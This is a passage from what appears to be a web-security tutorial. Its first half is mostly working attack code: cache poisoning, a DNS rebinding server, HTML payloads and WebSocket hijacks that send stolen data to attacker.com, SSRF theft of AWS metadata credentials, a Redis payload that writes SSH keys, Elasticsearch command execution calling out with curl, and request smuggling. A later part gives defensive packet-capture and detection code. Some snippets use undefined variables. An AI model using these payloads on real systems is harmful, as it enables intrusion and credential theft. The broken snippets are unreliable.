poisoned with {header}\")\n```\n\n### Cache Poisoning Techniques\n\n**X-Forwarded-Host Poisoning:**\n```python\ndef xfh_cache_poison(target_url):\n    \"\"\"Poison cache using X-Forwarded-Host\"\"\"\n    # Request with malicious X-Forwarded-Host\n    headers = {\n        'X-Forwarded-Host': 'evil.com'\n    }\n    \n    response = requests.get(target_url, headers=headers)\n    \n    # Check if response includes evil.com in links\n    if 'evil.com' in response.text:\n        print(\"[!] Cache poisoning possible via X-Forwarded-Host\")\n        \n        # Now all users may get links to evil.com\n        return True\n    return False\n```\n\n**Parameter Poisoning:**\n```python\ndef param_cache_poison(url, param, malicious_value):\n    \"\"\"Poison cache using unkeyed parameter\"\"\"\n    # Find parameter not in cache key\n    # Request with malicious parameter\n    params = {param: malicious_value}\n    response = requests.get(url, params=params)\n    \n    # Check if response includes malicious content\n    if malicious_value in response.text:\n        # Now request without parameter gets cached malicious response\n        victim_response = requests.get(url)\n        if malicious_value in victim_response.text:\n            print(\"[!] Cache poisoned via parameter\")\n```\n\n### Cache Deception\n\n**Path Confusion:**\n```python\ndef cache_deception(url, sensitive_path, static_extension):\n    \"\"\"Trick cache into storing sensitive content\"\"\"\n    # Request sensitive content with static extension\n    deceptive_url = f\"{url}{sensitive_path}/{static_extension}\"\n    \n    response = requests.get(deceptive_url)\n    \n    # If cache stores this as static file...\n    if response.status_code == 200:\n        print(f\"[*] Sensitive content at {deceptive_url}\")\n        \n        # Try to retrieve from cache as anonymous user\n        anon_response = requests.get(deceptive_url)\n        if anon_response.status_code == 200:\n            print(f\"[!] Cache deception successful\")\n            print(anon_response.text[:500])\n```\n\n## 4.4 DNS Rebinding Attacks\n\n### DNS Rebinding Attack Flow\n\n**DNS Rebinding Server:**\n```python\nfrom scapy.all import *\nimport threading\nimport time\n\nclass DNSRebindingServer:\n    def __init__(self, external_ip, internal_ip, domain):\n        self.external_ip = external_ip\n        self.internal_ip = internal_ip\n        self.domain = domain\n        self.queries = {}\n        \n    def handle_dns(self, pkt):\n        \"\"\"Handle DNS queries\"\"\"\n        if pkt.haslayer(DNS) and pkt[DNS].qr == 0:  # Query\n            qname = pkt[DNS].qd.qname.decode()\n            \n            if self.domain in qname:\n                client_ip = pkt[IP].src\n                \n                # Track queries per client\n                if client_ip not in self.queries:\n                    self.queries[client_ip] = 0\n                self.queries[client_ip] += 1\n                \n                # First query: external IP, subsequent: internal IP\n                if self.queries[client_ip] == 1:\n                    response_ip = self.external_ip\n                else:\n                    response_ip = self.internal_ip\n                \n                # Build response\n                ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)\n                udp = UDP(sport=pkt[UDP].dport, dport=pkt[UDP].sport)\n                \n                dns = DNS(\n                    id=pkt[DNS].id,\n                    qr=1,\n                    aa=1,\n                    qd=pkt[DNS].qd,\n                    an=DNSRR(rrname=qname, ttl=0, rdata=response_ip)\n                )\n                \n                response = ip/udp/dns\n                send(response, verbose=False)\n                print(f\"[+] {client_ip} query {self.queries[client_ip]}: {response_ip}\")\n    \n    def start(self):\n        print(f\"[*] DNS rebinding server running\")\n        sniff(filter=\"udp port 53\", prn=self.handle_dns)\n```\n\n**Rebinding Attack Payload:**\n```html\n\n\n\n    \n    function scanInternal() {\n        // After DNS rebinding, this will target internal IP\n        fetch('http://rebind.attacker.com:8080/admin')\n            .then(response => response.text())\n            .then(data => {\n                fetch('http://attacker.com/steal?data=' + btoa(data));\n            });\n    }\n    \n    // Trigger rebinding\n    setTimeout(scanInternal, 5000);\n    \n\n\n    \nLoading...\n\n\n```\n\n### DNS Rebinding Tools\n\n**Using Singularity of Origin:**\n```bash\n# Clone and run Singularity\ngit clone https://github.com/nccgroup/singularity\ncd singularity\npython3 singularity_server.py\n\n# Configure in browser\n# Visit http://localhost:8080\n```\n\n**Using Custom Script:**\n```python\ndef dns_rebinding_scan(target_domain, internal_range):\n    \"\"\"Scan internal network via DNS rebinding\"\"\"\n    import requests\n    import time\n    \n    # First request - gets external IP\n    response = requests.get(f\"http://{target_domain}/\")\n    \n    # Wait for TTL to expire\n    time.sleep(2)\n    \n    # Now scan internal hosts\n    for i in range(1, 255):\n        host = f\"http://{target_domain}/?target=192.168.1.{i}\"\n        try:\n            response = requests.get(host, timeout=2)\n            if response.status_code == 200:\n                print(f\"[+] Found internal host: 192.168.1.{i}\")\n        except:\n            pass\n```\n\n## 4.5 Server-Side Request Forgery (SSRF)\n\n### Basic SSRF Attacks\n\n**SSRF Detection:**\n```python\ndef detect_ssrf(url, param):\n    \"\"\"Test for SSRF vulnerabilities\"\"\"\n    import requests\n    \n    # Test with internal addresses\n    test_urls = [\n        \"http://127.0.0.1:80\",\n        \"http://127.0.0.1:443\",\n        \"http://127.0.0.1:22\",\n        \"http://169.254.169.254/latest/meta-data/\",\n        \"http://localhost:8080\",\n        \"file:///etc/passwd\",\n        \"gopher://localhost:8080/_GET%20/HTTP/1.0\"\n    ]\n    \n    for test_url in test_urls:\n        params = {param: test_url}\n        try:\n            response = requests.get(url, params=params, timeout=5)\n            \n            # Check for signs of SSRF\n            if \"root:\" in response.text:\n                print(f\"[!] SSRF detected - file read via {test_url}\")\n            elif \"ami-id\" in response.text:\n                print(f\"[!] SSRF detected - cloud metadata via {test_url}\")\n            elif response.status_code == 200 and \"127.0.0.1\" in test_url:\n                print(f\"[!] Possible SSRF to {test_url}\")\n        except:\n            pass\n```\n\n**Cloud Metadata Extraction:**\n```python\ndef extract_aws_metadata(ssrf_url, param):\n    \"\"\"Extract AWS metadata via SSRF\"\"\"\n    import requests\n    \n    metadata_paths = [\n        \"/latest/meta-data/\",\n        \"/latest/meta-data/iam/security-credentials/\",\n        \"/latest/meta-data/iam/security-credentials/admin\",\n        \"/latest/user-data/\",\n        \"/latest/meta-data/hostname\",\n        \"/latest/meta-data/public-ipv4\",\n        \"/latest/meta-data/placement/availability-zone\"\n    ]\n    \n    for path in metadata_paths:\n        test_url = f\"http://169.254.169.254{path}\"\n        params = {param: test_url}\n        \n        try:\n            response = requests.get(ssrf_url, params=params, timeout=5)\n            if response.status_code == 200 and response.text.strip():\n                print(f\"[+] Metadata from {path}:\")\n                print(response.text[:500])\n        except:\n            pass\n```\n\n### Bypassing SSRF Filters\n\n**IP Obfuscation:**\n```python\ndef ip_obfuscation(ip):\n    \"\"\"Generate obfuscated IP representations\"\"\"\n    import ipaddress\n    \n    ip_obj = ipaddress.ip_address(ip)\n    ip_int = int(ip_obj)\n    \n    obfuscations = [\n        ip,  # Original\n        str(ip_int),  # Decimal\n        hex(ip_int),  # Hexadecimal\n        oct(ip_int),  # Octal\n        ip.replace('.', '\u3002'),  # Unicode dots\n        f\"http://{ip}.nip.io/\",  # DNS rebinding services\n        f\"http://{ip}.xip.io/\",\n        f\"http://{ip}.sslip.io/\",\n    ]\n    \n    # IPv6 alternatives\n    if ip == \"127.0.0.1\":\n        obfuscations.extend([\n            \"::1\",\n            \"[::1]\",\n            \"0:0:0:0:0:0:0:1\",\n            \"127.127.127.127\",  # Some systems redirect\n        ])\n    \n    return obfuscations\n```\n\n**URL Encoding Bypass:**\n```python\ndef url_encoded_bypass(url):\n    \"\"\"Generate URL-encoded variants\"\"\"\n    import urllib.parse\n    \n    encoded = urllib.parse.quote(url, safe='')\n    \n    variants = [\n        url,\n        encoded,\n        encoded.replace('%', '%%'),  # Double encoding\n        url.replace('http', 'h%74tp'),  # Partial encoding\n        url.replace('.', '%2e'),  # Encode dots\n        url.replace('/', '%2f'),  # Encode slashes\n    ]\n    \n    return variants\n```\n\n**Redirect Bypass:**\n```python\ndef redirect_bypass():\n    \"\"\"Use redirects to bypass filters\"\"\"\n    redirect_services = [\n        \"http://localtest.me\",\n        \"http://localhost.nip.io\",\n        \"http://127.0.0.1.nip.io\",\n        \"http://169.254.169.254.nip.io\",\n        \"http://www.example.com/redirect?url=http://127.0.0.1\",\n    ]\n    return redirect_services\n```\n\n### SSRF to RCE\n\n**Redis SSRF:**\n```python\ndef redis_ssrf_rce(ssrf_url, param, attacker_ip, attacker_port):\n    \"\"\"Use SSRF to attack Redis\"\"\"\n    # Redis protocol payload to write SSH key\n    redis_payload = (\n        \"*3\\r\\n\"\n        \"$3\\r\\nSET\\r\\n\"\n        \"$4\\r\\nkey1\\r\\n\"\n        \"$\" + str(len(ssh_key)) + \"\\r\\n\" + ssh_key + \"\\r\\n\"\n        \"*4\\r\\n\"\n        \"$6\\r\\nCONFIG\\r\\n\"\n        \"$3\\r\\nSET\\r\\n\"\n        \"$10\\r\\ndir\\r\\n\"\n        \"$16\\r\\n/root/.ssh/\\r\\n\"\n        \"*4\\r\\n\"\n        \"$6\\r\\nCONFIG\\r\\n\"\n        \"$3\\r\\nSET\\r\\n\"\n        \"$10\\r\\ndbfilename\\r\\n\"\n        \"$9\\r\\nauthorized_keys\\r\\n\"\n        \"*1\\r\\n\"\n        \"$4\\r\\nSAVE\\r\\n\"\n    )\n    \n    # Encode for gopher\n    gopher_url = f\"gopher://{target_redis}:6379/_{redis_payload.replace(' ', '%20').replace('\\r\\n', '%0d%0a')}\"\n    \n    # Send via SSRF\n    params = {param: gopher_url}\n    requests.get(ssrf_url, params=params)\n```\n\n**Elasticsearch SSRF:**\n```python\ndef elasticsearch_ssrf(ssrf_url, param, es_host):\n    \"\"\"Use SSRF to query Elasticsearch\"\"\"\n    # Script injection\n    script = {\n        \"script\": {\n            \"lang\": \"painless\",\n            \"source\": \"java.lang.Runtime.getRuntime().exec('curl http://attacker.com')\"\n        }\n    }\n    \n    import json\n    es_url = f\"http://{es_host}:9200/_scripts/test\"\n    \n    # Send via SSRF\n    params = {param: es_url}\n    requests.post(ssrf_url, params=params, json=script)\n```\n\n## 4.6 Cross-Site WebSocket Hijacking\n\n### WebSocket Hijacking\n\n**WebSocket Connection:**\n```javascript\n// Client-side WebSocket\nvar ws = new WebSocket(\"ws://target.com/chat\");\n\nws.onopen = function() {\n    ws.send(\"Hello server\");\n};\n\nws.onmessage = function(event) {\n    console.log(\"Received: \" + event.data);\n};\n```\n\n**Hijacking Exploit:**\n```html\n\n\n\n    \n    function hijackWebSocket() {\n        // Connect to WebSocket using victim's credentials\n        // (cookies will be sent automatically)\n        var ws = new WebSocket(\"ws://target.com/chat\");\n        \n        ws.onopen = function() {\n            // Send malicious message\n            ws.send(\"!ADMIN DELETE ALL USERS\");\n        };\n        \n        ws.onmessage = function(event) {\n            // Steal responses\n            fetch(\"http://attacker.com/steal?data=\" + btoa(event.data));\n        };\n    }\n    \n    // Auto-execute\n    hijackWebSocket();\n    \n\n\n    \nLoading...\n\n\n```\n\n**Testing for WebSocket Hijacking:**\n```python\ndef test_websocket_hijacking(url):\n    \"\"\"Test for Cross-Site WebSocket Hijacking\"\"\"\n    import requests\n    \n    # Check if WebSocket endpoint exists\n    response = requests.get(url)\n    \n    # Look for WebSocket connections\n    if \"new WebSocket\" in response.text:\n        print(\"[*] WebSocket found, testing CSRF...\")\n        \n        # Test with different origins\n        origins = [\n            \"http://evil.com\",\n            \"null\",\n            \"http://localhost\",\n            \"http://127.0.0.1\"\n        ]\n        \n        for origin in origins:\n            headers = {\"Origin\": origin}\n            try:\n                # This is simplified - actual WebSocket testing requires\n                # proper WebSocket client\n                print(f\"Testing Origin: {origin}\")\n            except:\n                pass\n```\n\n## 4.7 HTTP Desync Attacks\n\n### Request Smuggling Variants\n\n**TE.TE with Spaces:**\n```python\ndef te_te_space_bypass():\n    \"\"\"TE.TE obfuscation with spaces\"\"\"\n    variants = [\n        \"Transfer-Encoding : chunked\",\n        \"Transfer-Encoding: chunked\",\n        \"Transfer-Encoding: x\",\n        \"Transfer-Encoding: chunked\",\n        \"Transfer-Encoding: chunked\",\n    ]\n    return variants\n```\n\n**Header Injection:**\n```python\ndef header_injection_smuggling(target_host, target_port):\n    \"\"\"Use header injection for smuggling\"\"\"\n    payload = (\n        \"POST / HTTP/1.1\\r\\n\"\n        f\"Host: {target_host}\\r\\n\"\n        \"Content-Length: 13\\r\\n\"\n        \"Transfer-Encoding: chunked\\r\\n\"\n        \"\\r\\n\"\n        \"0\\r\\n\"\n        \"\\r\\n\"\n        \"GET /admin HTTP/1.1\\r\\n\"\n        f\"Host: {target_host}\\r\\n\"\n        \"X-Ignore: X\\r\\n\"\n        \"\\r\\n\"\n    )\n    \n    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    sock.connect((target_host, target_port))\n    sock.send(payload.encode())\n    \n    response = sock.recv(4096)\n    sock.close()\n    return response\n```\n\n### Connection Pool Poisoning\n\n**Poisoning Shared Connections:**\n```python\ndef connection_pool_poisoning(target_host, target_port, num_requests=10):\n    \"\"\"Attempt to poison connection pools\"\"\"\n    import requests\n    from requests.adapters import HTTPAdapter\n    \n    session = requests.Session()\n    \n    # Use same connection for multiple requests\n    adapter = HTTPAdapter(pool_connections=1, pool_maxsize=1)\n    session.mount('http://', adapter)\n    \n    # First request - smuggling attempt\n    headers = {\n        'Content-Length': '13',\n        'Transfer-Encoding': 'chunked'\n    }\n    data = \"0\\r\\n\\r\\nGET /404 HTTP/1.1\\r\\nHost: localhost\\r\\n\\r\\n\"\n    \n    response1 = session.post(f\"http://{target_host}:{target_port}\", \n                            headers=headers, data=data)\n    \n    # Second request - should get smuggled response\n    response2 = session.get(f\"http://{target_host}:{target_port}/test\")\n    \n    if response2.status_code == 404:\n        print(\"[!] Connection pool poisoned\")\n```\n\n---\n\n# Part 5: Traffic Analysis and Network Forensics\n\n## 5.1 Packet Capture and Analysis\n\n### Wireshark for Web Application Testing\n\n**Capture Filters (BPF - Berkeley Packet Filter):**\n```bash\n# Capture only HTTP traffic\ntcp port 80\n\n# Capture specific host\nhost 192.168.1.100\n\n# Capture POST requests\ntcp port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)\n\n# Capture all traffic except ARP and DNS\nnot arp and not port 53\n\n# Capture traffic to/from specific network\nnet 192.168.1.0/24\n\n# Capture TCP flags (SYN packets)\ntcp[tcpflags] & tcp-syn != 0\n```\n\n**Display Filters for Web Analysis:**\n```\n# HTTP requests\nhttp.request\n\n# HTTP POST data\nhttp.request.method == \"POST\"\n\n# Specific cookies\nhttp.cookie contains \"sessionid\"\n\n# HTTPS handshakes\nssl.handshake.type == 1  # Client Hello\nssl.handshake.type == 2  # Server Hello\n\n# SQL injection attempts\nhttp.request.uri contains \"union\" or http.request.uri contains \"select\"\n\n# XSS attempts\nhttp.request.uri contains \"= 400\n\n# Specific IP conversations\nip.addr == 192.168.1.100\n\n# Follow TCP stream\ntcp.stream eq 0\n```\n\n### Tshark Command-Line Analysis\n\n**Basic Tshark Usage:**\n```bash\n# List interfaces\ntshark -D\n\n# Capture to file\ntshark -i eth0 -w capture.pcap\n\n# Read capture file\ntshark -r capture.pcap\n\n# Limit packet count\ntshark -i eth0 -c 100 -w capture.pcap\n```\n\n**Extracting HTTP Data:**\n```bash\n# Extract all HTTP requests\ntshark -r capture.pcap -Y \"http.request\" -T fields -e http.request.method -e http.request.uri -e http.host\n\n# Extract HTTP POST content\ntshark -r capture.pcap -Y \"http.request.method==POST\" -T fields -e http.file_data\n\n# Extract HTTP user agents\ntshark -r capture.pcap -Y \"http.request\" -T fields -e http.user_agent | sort | uniq -c | sort -nr\n\n# Extract cookies\ntshark -r capture.pcap -Y \"http.cookie\" -T fields -e http.cookie\n\n# Extract referers\ntshark -r capture.pcap -Y \"http.referer\" -T fields -e http.referer\n```\n\n**Following TCP Streams:**\n```bash\n# Follow TCP stream (interactive)\ntshark -r capture.pcap -q --follow tcp,ascii,0\n\n# Export objects\ntshark -r capture.pcap -q --export-objects http,./export/\n\n# Reassemble streams\ntshark -r capture.pcap -z follow,tcp,ascii,0\n```\n\n**Statistics and Analysis:**\n```bash\n# Protocol hierarchy\ntshark -r capture.pcap -z io,phs -q\n\n# Endpoint statistics\ntshark -r capture.pcap -z endpoints,ip -q\n\n# Conversation statistics\ntshark -r capture.pcap -z conv,ip -q\n\n# HTTP statistics\ntshark -r capture.pcap -z http,tree -q\n\n# Packet length statistics\ntshark -r capture.pcap -z plen,tree -q\n```\n\n### Network Mining with Scapy\n\n**Basic Scapy Analysis:**\n```python\nfrom scapy.all import *\nimport pandas as pd\n\ndef analyze_pcap(pcap_file):\n    \"\"\"Analyze pcap file with Scapy\"\"\"\n    packets = rdpcap(pcap_file)\n    \n    print(f\"Total packets: {len(packets)}\")\n    print(f\"First packet: {packets[0].time}\")\n    print(f\"Last packet: {packets[-1].time}\")\n    \n    # Protocol distribution\n    protocols = {}\n    for pkt in packets:\n        if pkt.haslayer(TCP):\n            protocols['TCP'] = protocols.get('TCP', 0) + 1\n        elif pkt.haslayer(UDP):\n            protocols['UDP'] = protocols.get('UDP', 0) + 1\n        elif pkt.haslayer(ICMP):\n            protocols['ICMP'] = protocols.get('ICMP', 0) + 1\n        elif pkt.haslayer(ARP):\n            protocols['ARP'] = protocols.get('ARP', 0) + 1\n    \n    print(\"\\nProtocol distribution:\")\n    for proto, count in protocols.items():\n        print(f\"  {proto}: {count} ({count/len(packets)*100:.1f}%)\")\n    \n    return packets\n```\n\n**HTTP Analysis with Scapy:**\n```python\ndef analyze_http(packets):\n    \"\"\"Extract HTTP requests/responses\"\"\"\n    http_requests = []\n    http_responses = []\n    \n    for pkt in packets:\n        if pkt.haslayer(TCP) and pkt.haslayer(Raw):\n            payload = pkt[Raw].load.decode('utf-8', errors='ignore')\n            \n            # HTTP request\n            if payload.startswith(('GET', 'POST', 'PUT', 'DELETE', 'HEAD')):\n                lines = payload.split('\\n')\n                request_line = lines[0]\n                method, path, version = request_line.split()\n                \n                # Extract headers\n                headers = {}\n                for line in lines[1:]:\n                    if ': ' in line:\n                        key, value = line.split(': ', 1)\n                        headers[key] = value.strip()\n                \n                http_requests.append({\n                    'time': pkt.time,\n                    'src': pkt[IP].src,\n                    'dst': pkt[IP].dst,\n                    'sport': pkt[TCP].sport,\n                    'dport': pkt[TCP].dport,\n                    'method': method,\n                    'path': path,\n                    'version': version,\n                    'headers': headers,\n                    'body': '\\n'.join(lines[lines.index('')+1:]) if '' in lines else ''\n                })\n            \n            # HTTP response\n            elif payload.startswith('HTTP'):\n                lines = payload.split('\\n')\n                response_line = lines[0]\n                version, code, status = response_line.split(' ', 2)\n                \n                http_responses.append({\n                    'time': pkt.time,\n                    'src': pkt[IP].src,\n                    'dst': pkt[IP].dst,\n                    'code': int(code),\n                    'status': status,\n                    'headers': dict(line.split(': ', 1) for line in lines[1:] if ': ' in line)\n                })\n    \n    return http_requests, http_responses\n```\n\n**Extracting Files from PCAP:**\n```python\ndef extract_files(packets):\n    \"\"\"Extract files from HTTP traffic\"\"\"\n    import re\n    import os\n    \n    # Create output directory\n    os.makedirs('extracted', exist_ok=True)\n    \n    file_counter = 0\n    \n    for pkt in packets:\n        if pkt.haslayer(TCP) and pkt.haslayer(Raw):\n            payload = pkt[Raw].load\n            \n            # Look for file signatures\n            signatures = [\n                (b'\\x89PNG', 'png'),\n                (b'\\xff\\xd8', 'jpg'),\n                (b'GIF8', 'gif'),\n                (b'PK', 'zip'),\n                (b'%PDF', 'pdf'),\n            ]\n            \n            for sig, ext in signatures:\n                if sig in payload[:10]:\n                    # Extract file\n                    filename = f\"extracted/file_{file_counter}.{ext}\"\n                    with open(filename, 'wb') as f:\n                        f.write(payload)\n                    print(f\"[+] Extracted {filename}\")\n                    file_counter += 1\n                    break\n```\n\n### Advanced Packet Analysis\n\n**Timeline Analysis:**\n```python\ndef create_timeline(packets):\n    \"\"\"Create timeline of network events\"\"\"\n    timeline = []\n    \n    for pkt in packets:\n        event = {\n            'time': pkt.time,\n            'src': pkt[IP].src if pkt.haslayer(IP) else None,\n            'dst': pkt[IP].dst if pkt.haslayer(IP) else None,\n            'proto': 'TCP' if pkt.haslayer(TCP) else 'UDP' if pkt.haslayer(UDP) else 'Other',\n        }\n        \n        if pkt.haslayer(TCP):\n            event['sport'] = pkt[TCP].sport\n            event['dport'] = pkt[TCP].dport\n            event['flags'] = pkt[TCP].flags\n            \n            # Check for suspicious activity\n            if pkt[TCP].flags == 2:  # SYN only\n                event['note'] = 'SYN scan'\n            elif pkt[TCP].flags == 5:  # FIN only\n                event['note'] = 'FIN scan'\n        \n        timeline.append(event)\n    \n    # Sort by time\n    timeline.sort(key=lambda x: x['time'])\n    \n    return timeline\n```\n\n**Conversation Analysis:**\n```python\ndef analyze_conversations(packets):\n    \"\"\"Analyze network conversations\"\"\"\n    conversations = {}\n    \n    for pkt in packets:\n        if pkt.haslayer(IP):\n            # Create conversation key\n            src = pkt[IP].src\n            dst = pkt[IP].dst\n            \n            # Sort IPs for bidirectional conversation\n            conv = tuple(sorted([src, dst]))\n            \n            if conv not in conversations:\n                conversations[conv] = {\n                    'packets': 0,\n                    'bytes': 0,\n                    'start_time': pkt.time,\n                    'end_time': pkt.time,\n                    'src_hosts': {src, dst}\n                }\n            \n            conv_data = conversations[conv]\n            conv_data['packets'] += 1\n            conv_data['bytes'] += len(pkt)\n            conv_data['end_time'] = pkt.time\n    \n    # Sort by packet count\n    sorted_convs = sorted(conversations.items(), \n                         key=lambda x: x[1]['packets'], \n                         reverse=True)\n    \n    for conv, data in sorted_convs[:10]:\n        print(f\"Conversation {conv[0]} <-> {conv[1]}:\")\n        print(f\"  Packets: {data['packets']}\")\n        print(f\"  Bytes: {data['bytes']}\")\n        print(f\"  Duration: {data['end_time'] - data['start_time']:.2f}s\")\n```\n\n## 5.2 Protocol Anomaly Detection\n\n### TCP Anomalies\n\n**TCP Flag Anomalies:**\n```python\ndef detect_tcp_anomalies(packets):\n    \"\"\"Detect anomalous TCP flag combinations\"\"\"\n    anomalies = []\n    \n    for pkt in packets:\n        if pkt.haslayer(TCP):\n            flags = pkt[TCP].flags\n            \n            # Invalid flag combinations\n            if flags & 0x02 and flags & 0x04:  # SYN+RST\n                anomalies.append(('SYN+RST', pkt))\n            elif flags & 0x01 and flags & 0x04:  # FIN+RST\n                anomalies.append(('FIN+RST', pkt))\n            elif flags & 0x02 and flags & 0x01:  # SYN+FIN\n                anomalies.append(('SYN+FIN', pkt))\n            elif flags == 0:  # NULL scan\n                anomalies.append(('NULL flags', pkt))\n            elif flags & 0x29:  # FIN+PSH+URG (XMAS)\n                anomalies.append(('XMAS scan', pkt))\n    \n    return anomalies\n```\n\n**TCP Window Analysis:**\n```python\ndef analyze_tcp_windows(packets):\n    \"\"\"Analyze TCP window sizes for anomalies\"\"\"\n    window_stats = {}\n    \n    for pkt in packets:\n        if pkt.haslayer(TCP):\n            src = pkt[IP].src\n            window = pkt[TCP].window\n            \n            if src not in window_stats:\n                window_stats[src] = []\n            window_stats[src].append(window)\n    \n    # Detect unusual window sizes\n    for src, windows in window_stats.items():\n        avg_window = sum(windows) / len(windows)\n        max_window = max(windows)\n        min_window = min(windows)\n        \n        # Window size 0 indicates potential DoS\n        if 0 in windows:\n            print(f\"[!] {src} sent window 0 packets\")\n        \n        # Very large windows\n        if max_window > 65535:\n            print(f\"[!] {src} sent window scaling: {max_window}\")\n```\n\n### HTTP Protocol Anomalies\n\n**Request Smuggling Indicators:**\n```python\ndef detect_smuggling_indicators(packets):\n    \"\"\"Detect potential request smuggling\"\"\"\n    suspicious = []\n    \n    for pkt in packets:\n        if pkt.haslayer(TCP) and pkt.haslayer(Raw):\n            payload = pkt[Raw].load.decode('utf-8', errors='ignore')\n            \n            # Multiple Content-Length headers\n            if payload.count('Content-Length:') > 1:\n                suspicious.append(('multiple_content_length', pkt))\n            \n            # Conflicting Transfer-Encoding\n            if 'Transfer-Encoding: chunked' in payload and 'Content-Length:' in payload:\n                suspicious.append(('te_cl_conflict', pkt))\n            \n            # Obfuscated Transfer-Encoding\n            if 'Transfer-Encoding:' in payload:\n                te_line = [l for l in payload.split('\\n') if 'Transfer-Encoding:' in l]\n                for line in te_line:\n                    if any(x in line.lower() for x in ['x', ' ', '\\t', '\\r']):\n                        suspicious.append(('te_obfuscation', pkt))\n    \n    return suspicious\n```\n\n### ICMP Anomalies\n\n**ICMP Tunneling Detection:**\n```python\ndef detect_icmp_tunneling(packets):\n    \"\"\"Detect potential ICMP tunneling\"\"\"\n    icmp_stats = {}\n    \n    for pkt in packets:\n        if pkt.haslayer(ICMP):\n            src = pkt[IP].src\n            dst = pkt[IP].dst\n            size = len(pkt)\n            \n            key = f\"{src}->{dst}\"\n            if key not in icmp_stats:\n                icmp_stats[key] = []\n            icmp_stats[key].append(size)\n    \n    # Analyze ICMP flows\n    for flow, sizes in icmp_stats.items():\n        if len(sizes) > 10:  # Significant number of ICMP\n            avg_size = sum(sizes) / len(sizes)\n            \n            # Unusually large ICMP packets\n            if max(sizes) > 100:\n                print(f\"[!] Large ICMP packets in flow {flow}\")\n            \n            # Consistent size pattern\n            if len(set(sizes)) < len(sizes) / 2:\n                print(f\"[!] Uniform ICMP sizes in flow {flow}\")\n```\n\n## 5.3 Network Forensics for Incident Response\n\n### Timeline Analysis\n\n**Creating Incident Timeline:**\n```python\ndef create_incident_timeline(pcap_file, start_time=None, end_time=None):\n    \"\"\"Create timeline for incident investigation\"\"\"\n    packets = rdpcap(pcap_file)\n    \n    timeline = []\n    \n    for pkt in packets:\n        # Filter by time if specified\n        if start_time and pkt.time < start_time:\n            continue\n        if end_time and pkt.time > end_time:\n            continue\n        \n        event = {\n            'timestamp': pkt.time,\n            'src': None,\n            'dst': None,\n            'proto': None,\n            'info': ''\n        }\n        \n        if pkt.haslayer(IP):\n            event['src'] = pkt[IP].src\n            event['dst'] = pkt[IP].dst\n            \n            if pkt.haslayer(TCP):\n                event['proto'] = 'TCP'\n                event['info'] = f\"Port {pkt[TCP].sport} -> {pkt[TCP].dport}\"\n                if pkt[TCP].flags == 2:\n                    event['info'] += \" [SYN]\"\n            elif pkt.haslayer(UDP):\n                event['proto'] = 'UDP'\n                event['info'] = f\"Port {pkt[UDP].sport} -> {pkt[UDP].dport}\"\n            elif pkt.haslayer(ICMP):\n                event['proto'] = 'ICMP'\n                event['info'] = f\"Type {pkt[ICMP].type}\"\n        \n        timeline.append(event)\n    \n    # Sort by timestamp\n    timeline.sort(key=lambda x: x['timestamp'])\n    \n    return timeline\n```\n\n### Data Exfiltration Detection\n\n**Large Outbound Transfers:**\n```python\ndef detect_large_transfers(packets, threshold_bytes=10*1024*1024):\n    \"\"\"Detect large data transfers\"\"\"\n    transfers = {}\n    \n    for pkt in packets:\n        if pkt.haslayer(IP):\n            src = pkt[IP].src\n            dst = pkt[IP].dst\n            size = len(pkt)\n            \n            # Only count outbound traffic (from internal to external)\n            if self.is_internal_ip(src) and not self.is_internal_ip(dst):\n                key = f\"{src}->{dst}\"\n                transfers[key] = transfers.get(key, 0) + size\n    \n    # Report large transfers\n    for transfer, bytes_sent in transfers.items():\n        if bytes_sent > threshold_bytes:\n            print(f\"[!] Large transfer: {transfer} - {bytes_sent/1024/1024:.2f} MB\")\n```\n\n**DNS Tunneling Detection:**\n```python\ndef detect_dns_tunneling(packets):\n    \"\"\"Detect potential DNS tunneling\"\"\"\n    dns_queries = {}\n    \n    for pkt in packets:\n        if pkt.haslayer(DNS) and pkt[DNS].qr == 0:  # Query\n            qname = pkt[DNS].qd.qname.decode()\n            qtype = pkt[DNS].qd.qtype\n            src = pkt[IP].src\n            \n            # Track queries per source\n            if src not in dns_queries:\n                dns_queries[src] = []\n            dns_queries[src].append({\n                'name': qname,\n                'type': qtype,\n                'length': len(qname)\n            })\n    \n    # Analyze for tunneling indicators\n    for src, queries in dns_queries.items():\n        # Unusually long domain names\n        long_queries = [q for q in queries if q['length'] > 50]\n        if long_queries:\n            print(f\"[!] {src}: {len(long_queries)} long DNS queries\")\n        \n        # High frequency\n        if len(queries) > 100:\n            print(f\"[!] {src}: High DNS query volume ({len(queries)})\")\n        \n        # Non-standard record types\n        txt_queries = [q for q in queries if q['type'] == 16]  # TXT\n        if txt_queries:\n            print(f\"[!] {src}: {len(txt_queries)} TXT queries\")\n```\n\n### Malware C2 Traffic Patterns\n\n**Beacon Detection:**\n```python\ndef detect_beacon_patterns(packets, target_ip):\n    \"\"\"Detect beaconing behavior\"\"\"\n    import numpy as np\n    \n    # Get outbound connections\n    connections = []\n    for pkt in packets:\n        if pkt.haslayer(IP) and pkt[IP].src == target_ip and pkt.haslayer(TCP):\n            if pkt[TCP].flags == 2:  # SYN\n                connections.append({\n                    'time': pkt.time,\n                    'dst': pkt[IP].dst,\n                    'dport': pkt[TCP].dport\n                })\n    \n    # Group by destination\n    beacons = {}\n    for conn in connections:\n        key = f\"{conn['dst']}:{conn['dport']}\"\n        if key not in beacons:\n            beacons[key] = []\n        beacons[key].append(conn['time'])\n    \n    # Analyze timing patterns\n    for dest, times in beacons.items():\n        if len(times) > 5:\n            intervals = np.diff(times)\n            mean_interval = np.mean(intervals)\n            std_interval = np.std(intervals)\n            \n            # Regular intervals indicate beaconing\n            if std_interval < mean_interval * 0.2:  # Low variation\n                print(f\"[!] Possible beacon to {dest}\")\n                print(f\"    Interval: {mean_interval:.2f}s \u00b1 {std_interval:.2f}s\")\n```\n\n**DGA Domain Detection:**\n```python\ndef detect_dga_domains(dns_queries):\n    \"\"\"Detect algorithmically generated domains\"\"\"\n    import re\n    \n    def entropy(string):\n        \"\"\"Calculate Shannon entropy\"\"\"\n        import math\n        prob = [float(string.count(c)) / len(string) for c in set(string)]\n        return -sum([p * math.log(p) / math.log(2.0) for p in prob])\n    \n    suspicious = []\n    \n    for query in dns_queries:\n        domain = query['name'].rstrip('.')\n        \n        # Extract main domain (remove subdomain)\n        parts = domain.split('.')\n        if len(parts) > 2:\n            main_domain = parts[-2] + '.' + parts[-1]\n            subdomain = '.'.join(parts[:-2])\n            \n            # Check subdomain for DGA characteristics\n            if len(subdomain) > 10:\n                # High 